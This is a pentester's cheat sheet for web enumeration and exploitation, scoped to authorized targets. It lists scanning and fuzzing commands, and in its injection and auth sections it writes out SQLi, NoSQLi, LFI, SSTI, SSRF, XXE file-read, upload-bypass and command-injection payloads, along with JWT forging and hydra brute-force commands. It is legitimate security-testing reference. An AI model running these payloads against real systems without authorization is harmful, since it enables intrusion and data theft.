NoorQureshi Web enumeration & exploitation arsenal
Authorized, in-scope targets only. Add target.tld to /etc/hosts first; many
apps only respond to their vhost name, not the raw IP.
1. Fingerprint (what am I looking at)
whatweb — fastest first look; identifies CMS/server/framework in one shot.
whatweb -a3 http://target.tld — -a3 = aggressive plugins (more detail, more requests).
httpx — best for triaging many hosts/vhosts at once.
httpx -title -tech-detect -status-code -u http://target.tld — title + tech stack + code.
curl — ground truth; no interpretation between you and the bytes.
curl -sI http://target.tld — -s silent, -I headers only (Server, redirects, cookies).
curl -s -H 'Host: dev.target.tld' http://target.tld/ — hit a vhost without editing hosts.
Gotcha: -I sends HEAD; some apps 405/behave differently — use curl -s ... -o /dev/null -D - for a real GET with headers.
Wappalyzer — browser extension; confirms JS frameworks curl can't see rendered.
nikto — noisy misconfig/known-file scanner; good on legacy targets, useless stealth.
nikto -h http://target.tld — Gotcha: hammers the server; run once, not in a loop.
2. Content discovery (find hidden paths)
feroxbuster — recursive by default, fast; the go-to for dir busting.
feroxbuster -u http://target.tld -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html
-x = extensions to append. Gotcha: use --dont-scan / -d 1 to cap recursion depth on huge sites.
ffuf — most flexible; use when you need precise filtering.
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://target.tld/FUZZ -e .php,.txt -ac
-ac = auto-calibrate (learn+filter the 404/wildcard page). Manual filters: -fc 403 (code), -fs 4242 (size), -fw (words).
gobuster dir — simple and reliable when ferox/ffuf misbehave.
gobuster dir -u http://target.tld -w /usr/share/dirb/common.txt -x php,txt
dirsearch — sane defaults + built-in extension logic.
dirsearch -u http://target.tld -e php,html,txt
Vhost / subdomain fuzz — name-based virtual hosts hide whole apps behind one IP.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://target.tld/ -H 'Host: FUZZ.target.tld' -ac
Gotcha: filter by size/words (-fs) — the default vhost answers everything with 200; you want the different size.
3. Parameter discovery (hidden inputs)
ffuf param fuzz — find GET/POST params the UI never exposes.
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://target.tld/page.php?FUZZ=1' -fs 0
arjun — purpose-built param miner, understands JSON/form/query.
arjun -u http://target.tld/api/endpoint — Gotcha: add -m POST / -m JSON when GET finds nothing.
x8 — thorough hidden-param brute with size-diff heuristics.
x8 -u http://target.tld/ -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
4. Crawling (map the app + harvest endpoints)
katana — modern, fast, does JS-aware crawling.
katana -u http://target.tld -jc -d 3 — -jc parse JS for endpoints, -d depth.
hakrawler — lightweight, pipe-friendly.
echo http://target.tld | hakrawler -d 2
gospider — good at pulling links out of JS/sitemaps/robots.
gospider -s http://target.tld -d 2 -c 5
5. Known-vuln scanning
nuclei — templated CVE/misconfig checks; run after you know the tech.
nuclei -u http://target.tld -tags cve,exposure -severity high,critical
Gotcha: -t a specific template dir once you've fingerprinted, e.g. -t http/cves/2021/ — full run is loud and slow.
searchsploit — offline Exploit-DB lookup from your fingerprint.
searchsploit apache tomcat 9 — searchsploit -m <id> mirrors the exploit locally.
wpscan — the WordPress standard.
wpscan --url http://target.tld --enumerate u,vp,vt --api-token <TOKEN>
u users, vp vuln plugins, vt vuln themes; token unlocks the vuln DB.
joomscan — Joomla enum. joomscan --url http://target.tld
droopescan — Drupal/SilverStripe/etc. droopescan scan drupal -u http://target.tld
6. Injection & common web vulns
SQLi — sqlmap -u 'http://target.tld/item?id=1' --batch --dbs (--batch = no prompts). Point at a saved
Burp request: sqlmap -r req.txt --level 5 --risk 3. Manual first: ', ' OR 1=1-- -, ' UNION SELECT NULL-- -.
NoSQLi — operator injection on JSON/form auth: {"user":"admin","pass":{"$ne":null}} or user[$ne]=x&pass[$ne]=x.
JS eval sink → $where/;return true. Extract via regex: pass[$regex]=^a.
LFI / path traversal — ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u 'http://target.tld/?file=FUZZ'.
Read source not exec: php://filter/convert.base64-encode/resource=index.php. Log-poison → RCE, /etc/passwd to confirm.
SSTI — detect with {{7*7}} / ${7*7} / <%= 7*7 %>; a 49 means injection. Fingerprint the engine, then tplmap -u 'http://target.tld/?name=*' for auto-exploit.
SSRF — test ?url=http://127.0.0.1/; escalate to internal services. Redis/gopher chain → see tech-gopher-redis-rce. File read: file:///etc/passwd.
XXE — POST XML with a DTD: <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>; use php://filter if the value is XML-parsed but not echoed cleanly.
File upload bypass — double ext shell.php.jpg, null/case .pHp/.phtml, magic-byte + Content-Type: image/png, .htaccess to map a new handler.
Command injection — chain operators on any exec sink: ; id, | id, $(id), `id`, newline %0aid; blind → ; ping -c1 <you> and watch tcpdump.
7. Auth / session
jwt_tool — inspect and forge JWTs. jwt_tool <token> to decode; jwt_tool <token> -X a for alg:none;
-C -d wordlist to crack a weak HS256 secret. jwt.io for quick manual edits.
Crack the secret with hashcat: hashcat -m 16500 token.jwt /usr/share/wordlists/rockyou.txt (mode 16500 = JWT/HS256), then re-sign.
hydra — HTTP-form brute, authorized targets only.
hydra -l admin -P rockyou.txt target.tld http-post-form '/login:user=^USER^&pass=^PASS^:F=Invalid'
F= the failure string. Gotcha: get the exact POST body + failure text from Burp first, or every attempt "succeeds."
8. Proxy (manual work)
Burp Suite — intercept, Repeater for hand-crafting requests, Intruder for targeted fuzz. The core manual tool.
mitmproxy — scriptable/CLI alternative. mitmproxy -p 8080 then point the browser/tooling at it.
Discipline
- Prefer manual verification (curl/Burp Repeater) over scanner output — one confirmed request beats a page of maybes.
- Vhost ≠ subdirectory: a vhost is name-based, needs a
Host:header or/etc/hostsentry; a subdir is just a path. Fuzz both. - Pick the wordlist to the tech: raft/directory-list for general, CMS-specific lists once fingerprinted, LFI/param lists for their job.
- Read the JS — client bundles leak API routes, param names, and hidden endpoints no dir-buster will find.
katana -jcthen grep the bundles.